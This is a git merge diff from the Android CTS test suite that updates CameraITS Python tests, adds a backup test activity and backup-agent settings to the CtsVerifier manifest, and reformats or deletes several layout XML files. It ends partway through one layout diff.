Merge "Adding tvdpi assets" into nougat-mr1-cts-dev
am: 64a884f1f8

Change-Id: I2981c4550a0c94065893dd5dc380843a6ea35104
diff --git a/.gitignore b/.gitignore
index 07a80d6..dbd5bcf 100644
--- a/.gitignore
+++ b/.gitignore
@@ -7,3 +7,5 @@
 /bin
 .idea/*
 .idea/
+gen/
+*.iml
diff --git a/apps/CameraITS/pymodules/its/image.py b/apps/CameraITS/pymodules/its/image.py
index 0057eb7..4b06d96 100644
--- a/apps/CameraITS/pymodules/its/image.py
+++ b/apps/CameraITS/pymodules/its/image.py
@@ -18,7 +18,7 @@
 import its.error
 import pylab
 import sys
-import Image
+from PIL import Image
 import numpy
 import math
 import unittest
diff --git a/apps/CameraITS/tests/dng_noise_model/dng_noise_model.py b/apps/CameraITS/tests/dng_noise_model/dng_noise_model.py
index e86ebd2..4f6aed8 100644
--- a/apps/CameraITS/tests/dng_noise_model/dng_noise_model.py
+++ b/apps/CameraITS/tests/dng_noise_model/dng_noise_model.py
@@ -21,7 +21,6 @@
 import matplotlib
 import matplotlib.pyplot as plt
 import math
-import Image
 import time
 import numpy as np
 import scipy.stats
@@ -155,7 +154,7 @@
                         np.var(tile(hp, tile_size), axis=(0, 1)).flatten()
 
                     for (mean, var) in zip(means_tiled, vars_tiled):
-                        # Don't include the tile if it has samples that might 
+                        # Don't include the tile if it has samples that might
                         # be clipped.
                         if mean + 2*math.sqrt(var) < max_signal_level:
                             samples_e.append([mean, var])
@@ -173,7 +172,7 @@
             samples.extend([(round(s), mean, var) for (mean, var) in samples_s])
 
             # Add the linear fit to the plot for this sensitivity.
-            plt_s.plot([0, max_signal_level], [O, O + S*max_signal_level], 'r-', 
+            plt_s.plot([0, max_signal_level], [O, O + S*max_signal_level], 'r-',
                        label="Linear fit")
             xmax = max([x for (x, _) in samples_s])*1.25
             plt_s.set_xlim(xmin=0, xmax=xmax)
@@ -217,7 +216,7 @@
 
         [A, B, C, D], _, _, _ = np.linalg.lstsq(a, b)
 
-        # Plot the noise model components with the values predicted by the 
+        # Plot the noise model components with the values predicted by the
         # noise model.
         S_model = A*sens + B
         O_model = \
@@ -226,14 +225,14 @@
         (fig, (plt_S, plt_O)) = plt.subplots(2, 1)
         plt_S.set_title("Noise model")
         plt_S.set_ylabel("S")
-        plt_S.loglog(sens, S_measured, 'r+', basex=10, basey=10, 
+        plt_S.loglog(sens, S_measured, 'r+', basex=10, basey=10,
                      label="Measured")
         plt_S.loglog(sens, S_model, 'bx', basex=10, basey=10, label="Model")
         plt_S.legend(loc=2)
 
         plt_O.set_xlabel("ISO")
         plt_O.set_ylabel("O")
-        plt_O.loglog(sens, O_measured, 'r+', basex=10, basey=10, 
+        plt_O.loglog(sens, O_measured, 'r+', basex=10, basey=10,
                      label="Measured")
         plt_O.loglog(sens, O_model, 'bx', basex=10, basey=10, label="Model")
         fig.savefig("%s.png" % (NAME))
@@ -244,7 +243,7 @@
             dg = max(s/sens_max_analog, 1)
             S = A*s + B
             O = C*s*s + D*dg*dg
-            plt_s.plot([0, max_signal_level], [O, O + S*max_signal_level], 'b-', 
+            plt_s.plot([0, max_signal_level], [O, O + S*max_signal_level], 'b-',
                        label="Model")
             plt_s.legend(loc=2)
 
diff --git a/apps/CameraITS/tests/scene0/test_metadata.py b/apps/CameraITS/tests/scene0/test_metadata.py
index 00fb1d6..e5fbba5 100644
--- a/apps/CameraITS/tests/scene0/test_metadata.py
+++ b/apps/CameraITS/tests/scene0/test_metadata.py
@@ -86,8 +86,8 @@
         pixel_pitch_w = (sensor_size["width"] / fmts[0]["width"] * 1E3)
         print "Assert pixel_pitch WxH: %.2f um, %.2f um" % (pixel_pitch_w,
                                                             pixel_pitch_h)
-        assert 0.9 <= pixel_pitch_w <= 10
-        assert 0.9 <= pixel_pitch_h <= 10
+        assert 1.0 <= pixel_pitch_w <= 10
+        assert 1.0 <= pixel_pitch_h <= 10
         assert 0.333 <= pixel_pitch_w/pixel_pitch_h <= 3.0
 
         diag = math.sqrt(sensor_size["height"] ** 2 +
diff --git a/apps/CameraITS/tests/scene1/test_linearity.py b/apps/CameraITS/tests/scene1/test_linearity.py
index 4f82540..9de1af3 100644
--- a/apps/CameraITS/tests/scene1/test_linearity.py
+++ b/apps/CameraITS/tests/scene1/test_linearity.py
@@ -24,14 +24,6 @@
 import matplotlib
 import matplotlib.pyplot
 
-NAME = os.path.basename(__file__).split('.')[0]
-RESIDUAL_THRESHOLD = 0.0003  # approximately each sample is off by 2/255
-# The HAL3.2 spec requires that curves up to 64 control points in length
-# must be supported.
-L = 64
-LM1 = float(L-1)
-
-
 def main():
     """Test that device processing can be inverted to linear pixels.
 
@@ -39,10 +31,19 @@
     target. Attempts to invert all the ISP processing to get back to
     linear R,G,B pixel data.
     """
+    NAME = os.path.basename(__file__).split(".")[0]
+
+    RESIDUAL_THRESHOLD = 0.0003 # approximately each sample is off by 2/255
+
+    # The HAL3.2 spec requires that curves up to 64 control points in length
+    # must be supported.
+    L = 64
+    LM1 = float(L-1)
+
     gamma_lut = numpy.array(
-        sum([[i/LM1, math.pow(i/LM1, 1/2.2)] for i in xrange(L)], []))
+            sum([[i/LM1, math.pow(i/LM1, 1/2.2)] for i in xrange(L)], []))
     inv_gamma_lut = numpy.array(
-        sum([[i/LM1, math.pow(i/LM1, 2.2)] for i in xrange(L)], []))
+            sum([[i/LM1, math.pow(i/LM1, 2.2)] for i in xrange(L)], []))
 
     with its.device.ItsSession() as cam:
         props = cam.get_camera_properties()
@@ -57,30 +58,30 @@
             match_ar = (largest_yuv['width'], largest_yuv['height'])
             fmt = its.objects.get_smallest_yuv_format(props, match_ar=match_ar)
 
-        e, s = its.target.get_target_exposure_combos(cam)['midSensitivity']
+        e,s = its.target.get_target_exposure_combos(cam)["midSensitivity"]
         s /= 2
         sens_range = props['android.sensor.info.sensitivityRange']
         sensitivities = [s*1.0/3.0, s*2.0/3.0, s, s*4.0/3.0, s*5.0/3.0]
         sensitivities = [s for s in sensitivities
-                         if s > sens_range[0] and s < sens_range[1]]
+                if s > sens_range[0] and s < sens_range[1]]
 
         req = its.objects.manual_capture_request(0, e)
-        req['android.blackLevel.lock'] = True
-        req['android.tonemap.mode'] = 0
-        req['android.tonemap.curveRed'] = gamma_lut.tolist()
-        req['android.tonemap.curveGreen'] = gamma_lut.tolist()
-        req['android.tonemap.curveBlue'] = gamma_lut.tolist()
+        req["android.blackLevel.lock"] = True
+        req["android.tonemap.mode"] = 0
+        req["android.tonemap.curveRed"] = gamma_lut.tolist()
+        req["android.tonemap.curveGreen"] = gamma_lut.tolist()
+        req["android.tonemap.curveBlue"] = gamma_lut.tolist()
 
         r_means = []
         g_means = []
         b_means = []
 
         for sens in sensitivities:
-            req['android.sensor.sensitivity'] = sens
+            req["android.sensor.sensitivity"] = sens
             cap = cam.do_capture(req, fmt)
             img = its.image.convert_capture_to_rgb_image(cap)
             its.image.write_image(
-                img, '%s_sens=%04d.jpg' % (NAME, sens))
+                    img, "%s_sens=%04d.jpg" % (NAME, sens))
             img = its.image.apply_lut_to_image(img, inv_gamma_lut[1::2] * LM1)
             tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
             rgb_means = its.image.compute_image_means(tile)
@@ -88,22 +89,17 @@
             g_means.append(rgb_means[1])
             b_means.append(rgb_means[2])
 
-        pylab.title(NAME)
-        pylab.plot(sensitivities, r_means, '-ro')
-        pylab.plot(sensitivities, g_means, '-go')
-        pylab.plot(sensitivities, b_means, '-bo')
-        pylab.xlim([sens_range[0], sens_range[1]/2])
-        pylab.ylim([0, 1])
-        pylab.xlabel('sensitivity(ISO)')
-        pylab.ylabel('RGB avg [0, 1]')
-        matplotlib.pyplot.savefig('%s_plot_means.png' % (NAME))
+        pylab.plot(sensitivities, r_means, 'r')
+        pylab.plot(sensitivities, g_means, 'g')
+        pylab.plot(sensitivities, b_means, 'b')
+        pylab.ylim([0,1])
+        matplotlib.pyplot.savefig("%s_plot_means.png" % (NAME))
 
         # Check that each plot is actually linear.
         for means in [r_means, g_means, b_means]:
-            line, residuals, _, _, _ = numpy.polyfit(range(len(sensitivities)),
-                                                     means, 1, full=True)
-            print 'Line: m=%f, b=%f, resid=%f'%(line[0], line[1], residuals[0])
-            assert residuals[0] < RESIDUAL_THRESHOLD
+            line,residuals,_,_,_  = numpy.polyfit(range(5),means,1,full=True)
+            print "Line: m=%f, b=%f, resid=%f"%(line[0], line[1], residuals[0])
+            assert(residuals[0] < RESIDUAL_THRESHOLD)
 
 if __name__ == '__main__':
     main()
diff --git a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
index 288d6e4..bbd1417 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
@@ -23,7 +23,7 @@
 import matplotlib
 import matplotlib.pyplot
 import json
-import Image
+from PIL import Image
 import numpy
 import cv2
 import bisect
diff --git a/apps/CtsVerifier/Android.mk b/apps/CtsVerifier/Android.mk
index 304c982..cafb855 100644
--- a/apps/CtsVerifier/Android.mk
+++ b/apps/CtsVerifier/Android.mk
@@ -26,7 +26,6 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-Iaidl-files-under, src)
 
 LOCAL_STATIC_JAVA_LIBRARIES := android-ex-camera2 \
-                               android-support-v4 \
                                compatibility-common-util-devicesidelib \
                                cts-sensors-tests \
                                cts-location-tests \
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index ecd35f3..17f9957 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -18,7 +18,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
       package="com.android.cts.verifier"
       android:versionCode="5"
-      android:versionName="7.1_r8">
+      android:versionName="7.1_r201703s">
 
     <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="25"/>
 
@@ -67,12 +67,16 @@
 
     <application android:label="@string/app_name"
             android:icon="@drawable/icon"
+            android:backupAgent="VerifierBackupAgent"
             android:debuggable="true"
             android:largeHeap="true"
             android:theme="@android:style/Theme.DeviceDefault">
 
         <meta-data android:name="SuiteName" android:value="CTS_VERIFIER" />
 
+        <meta-data android:name="com.google.android.backup.api_key"
+                android:value="AEdPqrEAAAAIbK6ldcOzoeRtQ1u1dFVJ1A7KetRhit-a1Xa82Q" />
+
         <uses-library android:name="android.test.runner"/>
 
         <activity android:name=".TestListActivity" android:label="@string/app_name" />
@@ -137,6 +141,25 @@
                     android:value="android.software.device_admin" />
         </activity>
 
+        <activity android:name=".backup.BackupTestActivity" android:label="@string/backup_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_required_features"
+                    android:value="android.software.backup" />
+        </activity>
+
+	<!-- Further work is required for this test, b/32798562  -->
+        <!-- activity android:name=".backup.BackupAccessibilityTestActivity" android:label="@string/backup_accessibility_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_required_features"
+                    android:value="android.software.backup" />
+        </activity -->
+
         <activity android:name=".bluetooth.BluetoothTestActivity"
                 android:label="@string/bluetooth_test"
                 android:configChanges="keyboardHidden|orientation|screenSize">
diff --git a/apps/CtsVerifier/res/layout-round/provisioning_byod.xml b/apps/CtsVerifier/res/layout-round/provisioning_byod.xml
new file mode 100644
index 0000000..d2b6e0e
--- /dev/null
+++ b/apps/CtsVerifier/res/layout-round/provisioning_byod.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?><!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<android.support.v4.widget.NestedScrollView xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/main_layout"
+    style="@style/RootLayoutPadding"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical">
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:orientation="vertical">
+        <TextView
+            android:id="@+id/test_instructions"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:padding="10dip"/>
+        <Button
+            android:id="@+id/prepare_test_button"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"/>
+        <ListView
+            android:id="@+id/android:list"
+            android:layout_width="match_parent"
+            android:layout_height="0dip"
+            android:layout_weight="3"/>
+        <include layout="@layout/pass_fail_buttons"/>
+    </LinearLayout>
+</android.support.v4.widget.NestedScrollView>
diff --git a/apps/CtsVerifier/res/layout-small/policy_transparency_test.xml b/apps/CtsVerifier/res/layout-small/policy_transparency_test.xml
index 40c1ad3..1c5e448 100644
--- a/apps/CtsVerifier/res/layout-small/policy_transparency_test.xml
+++ b/apps/CtsVerifier/res/layout-small/policy_transparency_test.xml
@@ -14,75 +14,69 @@
      limitations under the License.
 -->
 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    android:id="@+id/root_view"
-    style="@style/RootLayoutPadding"
-    android:layout_width="match_parent"
-    android:layout_height="match_parent"
-    android:descendantFocusability="beforeDescendants"
-    android:focusableInTouchMode="true"
-    android:orientation="vertical">
-    <ScrollView
+        android:id="@+id/root_view"
+	style="@style/RootLayoutPadding"
+        android:orientation="vertical"
         android:layout_width="match_parent"
-        android:layout_height="match_parent">
-        <LinearLayout
+        android:layout_height="match_parent"
+        android:descendantFocusability="beforeDescendants"
+        android:focusableInTouchMode="true">
+    <ScrollView
             android:layout_width="match_parent"
-            android:layout_height="match_parent"
-            android:orientation="vertical">
-            <TextView
+            android:layout_height="match_parent">
+	<LinearLayout
+		android:layout_width="match_parent"
+		android:layout_height="match_parent"
+		android:orientation="vertical">
+        <TextView
                 android:id="@+id/test_instructions"
                 android:layout_width="match_parent"
                 android:layout_height="wrap_content"
                 android:textSize="12dip"/>
 
-            <LinearLayout
+    <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:orientation="vertical"
+            android:paddingTop="8dp">
+        <TextView android:id="@+id/widget_label"
                 android:layout_width="match_parent"
                 android:layout_height="wrap_content"
-                android:orientation="vertical"
-                android:paddingTop="8dp">
-                <TextView
-                    android:id="@+id/widget_label"
-                    android:layout_width="match_parent"
-                    android:layout_height="wrap_content"
-                    android:paddingEnd="8dp"
-                    android:paddingStart="16dp"
-                    android:textSize="12dip"/>
-                <Switch
-                    android:id="@+id/switch_widget"
-                    android:layout_width="match_parent"
-                    android:layout_height="wrap_content"
-                    android:paddingEnd="16dp"
-                    android:paddingStart="8dp"
-                    android:visibility="gone"/>
-                <EditText
-                    android:id="@+id/edit_text_widget"
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:ems="6"
-                    android:gravity="center"
-                    android:singleLine="true"
-                    android:visibility="gone"/>
-                <Button
-                    android:id="@+id/update_button"
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:paddingEnd="16dp"
-                    android:paddingStart="8dp"
-                    android:text="@string/policy_transparency_update_button_label"
-                    android:visibility="gone"/>
-                <Spinner
-                    android:id="@+id/spinner_widget"
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:visibility="gone"/>
-            </LinearLayout>
-
-            <Button
-                android:id="@+id/open_settings_button"
+                android:textSize="12dip"
+                android:paddingStart="16dp"
+                android:paddingEnd="8dp" />
+        <Switch android:id="@+id/switch_widget"
                 android:layout_width="match_parent"
                 android:layout_height="wrap_content"
-                android:text="@string/policy_transparency_open_settings_label"/>
+                android:paddingStart="8dp"
+                android:paddingEnd="16dp"
+                android:visibility="gone" />
+        <EditText android:id="@+id/edit_text_widget"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:ems="6"
+                android:singleLine="true"
+                android:gravity="center"
+                android:visibility="gone" />
+        <Button android:id="@+id/update_button"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="@string/policy_transparency_update_button_label"
+                android:paddingStart="8dp"
+                android:paddingEnd="16dp"
+                android:visibility="gone" />
+        <Spinner android:id="@+id/spinner_widget"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:visibility="gone" />
+    </LinearLayout>
 
-            <include layout="@layout/pass_fail_buttons"/>
-        </LinearLayout>
-    </ScrollView>
+    <Button android:id="@+id/open_settings_button"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:text="@string/policy_transparency_open_settings_label" />
+
+    <include layout="@layout/pass_fail_buttons"/>
+</LinearLayout>
+</ScrollView>
 </LinearLayout>
diff --git a/apps/CtsVerifier/res/layout-watch/bt_device_picker.xml b/apps/CtsVerifier/res/layout-watch/bt_device_picker.xml
deleted file mode 100644
index 3792aa8..0000000
--- a/apps/CtsVerifier/res/layout-watch/bt_device_picker.xml
+++ /dev/null
@@ -1,88 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?><!-- Copyright (C) 2011 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    style="@style/RootLayoutPadding"
-    android:layout_width="match_parent"
-    android:layout_height="match_parent"
-    android:orientation="vertical">
-
-  <ProgressBar
-      android:id="@+id/bt_progress_bar"
-      style="@android:style/Widget.DeviceDefault.ProgressBar.Horizontal"
-      android:layout_width="match_parent"
-      android:layout_height="4dp"
-      android:indeterminate="true" />
-
-  <ScrollView
-      android:layout_width="match_parent"
-      android:layout_height="match_parent">
-    <LinearLayout
-        android:layout_width="match_parent"
-        android:layout_height="match_parent"
-        android:orientation="vertical">
-      <TextView
-          style="?android:attr/listSeparatorTextViewStyle"
-          android:layout_width="match_parent"
-          android:layout_height="wrap_content"
-          android:text="@string/bt_paired_devices"/>
-      <FrameLayout
-          android:layout_width="match_parent"
-          android:layout_height="match_parent"
-          android:orientation="vertical">
-        <ListView
-            android:id="@+id/bt_paired_devices"
-            android:layout_width="match_parent"
-            android:layout_height="match_parent"/>
-        <TextView
-            android:id="@+id/bt_empty_paired_devices"
-            android:layout_width="match_parent"
-            android:layout_height="match_parent"
-            android:gravity="center"
-            android:text="@string/bt_no_devices"
-            android:visibility="gone"/>
-      </FrameLayout>
-
-      <TextView
-          style="?android:attr/listSeparatorTextViewStyle"
-          android:layout_width="match_parent"
-          android:layout_height="wrap_content"
-          android:text="@string/bt_new_devices"/>
-      <FrameLayout
-          android:layout_width="match_parent"
-          android:layout_height="match_parent"
-          android:layout_weight="1"
-          android:orientation="vertical">
-        <ListView
-            android:id="@+id/bt_new_devices"
-            android:layout_width="match_parent"
-            android:layout_height="match_parent"/>
-        <TextView
-            android:id="@+id/bt_empty_new_devices"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:gravity="center"
-            android:text="@string/bt_no_devices"
-            android:visibility="gone"/>
-      </FrameLayout>
-
-      <Button
-          android:id="@+id/bt_scan_button"
-          android:layout_width="match_parent"
-          android:layout_height="wrap_content"
-          android:drawableTop="@android:drawable/ic_menu_search"
-          android:text="@string/bt_scan"/>
-    </LinearLayout>
-  </ScrollView>
-</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout-watch/policy_transparency_test.xml b/apps/CtsVerifier/res/layout-watch/policy_transparency_test.xml
deleted file mode 100644
index 40c1ad3..0000000
--- a/apps/CtsVerifier/res/layout-watch/policy_transparency_test.xml
+++ /dev/null
@@ -1,88 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    android:id="@+id/root_view"
-    style="@style/RootLayoutPadding"
-    android:layout_width="match_parent"
-    android:layout_height="match_parent"
-    android:descendantFocusability="beforeDescendants"
-    android:focusableInTouchMode="true"
-    android:orientation="vertical">
-    <ScrollView
-        android:layout_width="match_parent"
-        android:layout_height="match_parent">
-        <LinearLayout
-            android:layout_width="match_parent"
-            android:layout_height="match_parent"
-            android:orientation="vertical">
-            <TextView
-                android:id="@+id/test_instructions"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:textSize="12dip"/>
-
-            <LinearLayout
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:orientation="vertical"
-                android:paddingTop="8dp">
-                <TextView
-                    android:id="@+id/widget_label"
-                    android:layout_width="match_parent"
-                    android:layout_height="wrap_content"
-                    android:paddingEnd="8dp"
-                    android:paddingStart="16dp"
-                    android:textSize="12dip"/>
-                <Switch
-                    android:id="@+id/switch_widget"
-                    android:layout_width="match_parent"
-                    android:layout_height="wrap_content"
-                    android:paddingEnd="16dp"
-                    android:paddingStart="8dp"
-                    android:visibility="gone"/>
-                <EditText
-                    android:id="@+id/edit_text_widget"
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:ems="6"
-                    android:gravity="center"
-                    android:singleLine="true"
-                    android:visibility="gone"/>
-                <Button
-                    android:id="@+id/update_button"
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:paddingEnd="16dp"
-                    android:paddingStart="8dp"
-                    android:text="@string/policy_transparency_update_button_label"
-                    android:visibility="gone"/>
-                <Spinner
-                    android:id="@+id/spinner_widget"
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:visibility="gone"/>
-            </LinearLayout>
-
-            <Button
-                android:id="@+id/open_settings_button"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:text="@string/policy_transparency_open_settings_label"/>
-
-            <include layout="@layout/pass_fail_buttons"/>
-        </LinearLayout>
-    </ScrollView>
-</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout-watch/policy_transparency_test_list.xml b/apps/CtsVerifier/res/layout-watch/policy_transparency_test_list.xml
deleted file mode 100644
index 0835cb1..0000000
--- a/apps/CtsVerifier/res/layout-watch/policy_transparency_test_list.xml
+++ /dev/null
@@ -1,63 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<com.android.cts.verifier.BoxInsetLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    xmlns:app="http://schemas.android.com/apk/res-auto"
-    style="@style/RootLayoutPadding"
-    android:layout_width="match_parent"
-    android:layout_height="match_parent">
-
-<ScrollView
-	android:layout_width="match_parent"
-	android:layout_height="match_parent">
-    <LinearLayout app:ctsv_layout_box="all"
-            android:orientation="vertical"
-            android:layout_width="match_parent"
-            android:layout_height="match_parent"
-            >
-
-        <ListView android:id="@id/android:list"
-                android:layout_width="match_parent"
-                android:layout_height="1000dip"
-		android:layout_marginTop="10dip"
-		android:layout_marginBottom="10dip"
-                />
-
-        <TextView android:id="@id/android:empty"
-                android:layout_width="match_parent"
-                android:layout_height="8dip"
-                />
-
-        <LinearLayout
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content">
-            <Button android:id="@+id/short_msg_button"
-                    android:layout_width="0dp"
-                    android:layout_height="wrap_content"
-                    android:layout_weight="1"
-		    android:textSize="8dip"
-                    android:text="@string/policy_transparency_short_support_msg_label" />
-            <Button android:id="@+id/long_msg_button"
-                    android:layout_width="0dp"
-                    android:layout_height="wrap_content"
-                    android:layout_weight="1"
-		    android:textSize="8dip"
-                    android:text="@string/policy_transparency_long_support_msg_label" />
-        </LinearLayout>
-        <include layout="@layout/pass_fail_buttons" />
-
-    </LinearLayout>
-</ScrollView>
-</com.android.cts.verifier.BoxInsetLayout>
diff --git a/apps/CtsVerifier/res/layout-watch/positive_device_owner.xml b/apps/CtsVerifier/res/layout-watch/positive_device_owner.xml
deleted file mode 100644
index 82f11a2..0000000
--- a/apps/CtsVerifier/res/layout-watch/positive_device_owner.xml
+++ /dev/null
@@ -1,50 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?><!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    style="@style/RootLayoutPadding"
-    android:layout_width="match_parent"
-    android:layout_height="match_parent"
-    android:orientation="vertical">
-
-    <ScrollView
-        android:layout_width="match_parent"
-        android:layout_height="match_parent">
-        <LinearLayout
-            android:layout_width="match_parent"
-            android:layout_height="match_parent"
-            android:orientation="vertical">
-
-            <TextView
-                android:id="@+id/positive_device_owner_instructions"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:text="@string/device_owner_positive_tests_instructions"
-                android:textSize="16dip" />
-
-            <Button
-                android:id="@+id/set_device_owner_button"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:text="@string/set_device_owner_button_label" />
-
-            <ListView
-                android:id="@+id/android:list"
-                android:layout_width="match_parent"
-                android:layout_height="800dip" />
-
-            <include layout="@layout/pass_fail_buttons" />
-        </LinearLayout>
-    </ScrollView>
-</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/bt_device_picker.xml b/apps/CtsVerifier/res/layout/bt_device_picker.xml
index 6264f9d..3c0d4bc 100644
--- a/apps/CtsVerifier/res/layout/bt_device_picker.xml
+++ b/apps/CtsVerifier/res/layout/bt_device_picker.xml
@@ -1,11 +1,11 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2011 The Android Open Source Project
+<?xml version="1.0" encoding="utf-8"?><!-- Copyright (C) 2011 The Android Open Source Project
+
      Licensed under the Apache License, Version 2.0 (the "License");
      you may not use this file except in compliance with the License.
      You may obtain a copy of the License at
-
+  
           http://www.apache.org/licenses/LICENSE-2.0
-
+  
      Unless required by applicable law or agreed to in writing, software
      distributed under the License is distributed on an "AS IS" BASIS,
      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
@@ -13,56 +13,78 @@
      limitations under the License.
 -->
 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    style="@style/RootLayoutPadding"
     android:layout_width="match_parent"
     android:layout_height="match_parent"
     android:orientation="vertical">
-    <ProgressBar android:id="@+id/bt_progress_bar"
-        android:indeterminate="true"
+
+    <ProgressBar
+        android:id="@+id/bt_progress_bar"
+        style="@android:style/Widget.DeviceDefault.ProgressBar.Horizontal"
+        android:layout_width="match_parent"
         android:layout_height="4dp"
-        android:layout_width="match_parent"
-        style="@android:style/Widget.DeviceDefault.ProgressBar.Horizontal"/>
-    <TextView android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-        android:text="@string/bt_paired_devices"
-        style="?android:attr/listSeparatorTextViewStyle"/>
-    <FrameLayout android:orientation="vertical"
-        android:layout_width="match_parent"
-        android:layout_height="match_parent"
-        android:layout_weight="1">
-        <ListView android:id="@+id/bt_paired_devices"
-            android:layout_width="match_parent"
-            android:layout_height="match_parent"/>
-        <TextView android:id="@+id/bt_empty_paired_devices"
-            android:layout_width="match_parent"
-            android:layout_height="match_parent"
-            android:gravity="center"
-            android:text="@string/bt_no_devices"
-            android:visibility="gone"/>
-    </FrameLayout>
-    <TextView android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-        android:text="@string/bt_new_devices"
-        style="?android:attr/listSeparatorTextViewStyle"/>
-    <FrameLayout android:orientation="vertical"
-        android:layout_width="match_parent"
-        android:layout_height="match_parent"
-        android:layout_weight="1">
-        <ListView android:id="@+id/bt_new_devices"
-            android:layout_width="match_parent"
-            android:layout_height="match_parent"/>
-        <TextView android:id="@+id/bt_empty_new_devices"
-            android:layout_width="match_parent"
-            android:layout_height="match_parent"
-            android:layout_weight="1"
-            android:gravity="center"
-            android:text="@string/bt_no_devices"
-            android:visibility="gone"/>
-    </FrameLayout>
